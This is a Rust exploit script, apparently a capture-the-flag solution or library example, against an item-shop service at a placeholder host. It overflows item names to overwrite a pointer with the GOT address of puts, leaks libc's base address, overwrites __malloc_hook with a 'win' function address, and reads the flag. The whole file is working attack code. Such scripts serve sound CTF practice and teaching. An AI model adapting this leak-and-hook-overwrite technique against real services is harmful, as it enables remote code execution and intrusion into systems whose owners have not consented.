use std::net::TcpStream;

use pwn_helper::{
    bytes::{bytes, concat_bytes, ljust},
    io::{PwnIoRead, PwnIoWrite},
    numbers::{decimal, p64, u64},
};

const WIN_ADDR: u64 = 0x69420;
const GOT_PUTS_ADDR: u64 = 0x92c08;
const DYN_LIBC_PUTS_ADDR: u64 = 0x666c0;
const DYN_LIBC_MALLOC_HOOK_ADDR: u64 = 0x396650;

fn buy_item(remote: &mut TcpStream, item_index: u8) {
    remote.receive_until(b"> ", false).unwrap();
    remote.send_line(b"buy").unwrap();
    remote.receive_until(b": ", false).unwrap();
    remote.send_line(decimal(item_index).as_bytes()).unwrap();
}

fn rename_item(remote: &mut TcpStream, old_name: &[u8], new_name: &[u8]) {
    remote.receive_until(b"> ", false).unwrap();
    remote.send_line(b"rename").unwrap();
    remote.receive_until(b": ", false).unwrap();
    remote.send_line(old_name).unwrap();
    remote.receive_until(b": ", false).unwrap();
    remote.send_line(new_name).unwrap();
}

fn list_items(remote: &mut TcpStream) -> Vec<Vec<u8>> {
    remote.receive_until(b"> ", false).unwrap();
    remote.send_line(b"list").unwrap();
    remote.receive_until(b":\n", false).unwrap();
    let mut line = remote.receive_line(true).unwrap();
    let mut out = Vec::new();

    while line.starts_with(b"Item: ") {
        out.push(line[6..].to_owned());
        line = remote.receive_line(false).unwrap();
    }

    out
}

fn main() {
    let mut remote = TcpStream::connect("some.vulnerable.server:42069").unwrap();

    buy_item(&mut remote, 1);
    buy_item(&mut remote, 3);

    rename_item(&mut remote, b"Sword", bytes!(b'A' * 0x29));
    rename_item(
        &mut remote,
        b"AAAA",
        &concat_bytes(
            bytes!(b'A' * 0x20),
            &p64(GOT_PUTS_ADDR, pwn_helper::Endianness::Little),
        ),
    );

    let names = list_items(&mut remote);

    let libc_puts_addr = u64(&ljust(&names[1], 0, 8), pwn_helper::Endianness::Little);
    let libc_base = libc_puts_addr - DYN_LIBC_PUTS_ADDR;
    log::info!("Libc Base: {:#x}", libc_base);

    let libc_malloc_hook_addr = libc_base + DYN_LIBC_MALLOC_HOOK_ADDR;
    rename_item(&mut remote, &names[0], b"AA");
    rename_item(&mut remote, b"AA", bytes!(b'A' * 0x29));
    rename_item(
        &mut remote,
        b"A",
        &concat_bytes(
            bytes!(b'A' * 0x20),
            &p64(libc_malloc_hook_addr, pwn_helper::Endianness::Little),
        ),
    );

    // Malloc hook will currently be a NULL ptr
    rename_item(
        &mut remote,
        b"",
        &p64(WIN_ADDR, pwn_helper::Endianness::Little),
    );
    remote.receive_until(b"> ", false).unwrap();

    let flag = String::from_utf8(remote.receive_until(b"}", false).unwrap()).unwrap();
    println!("Flag: {}", flag);
}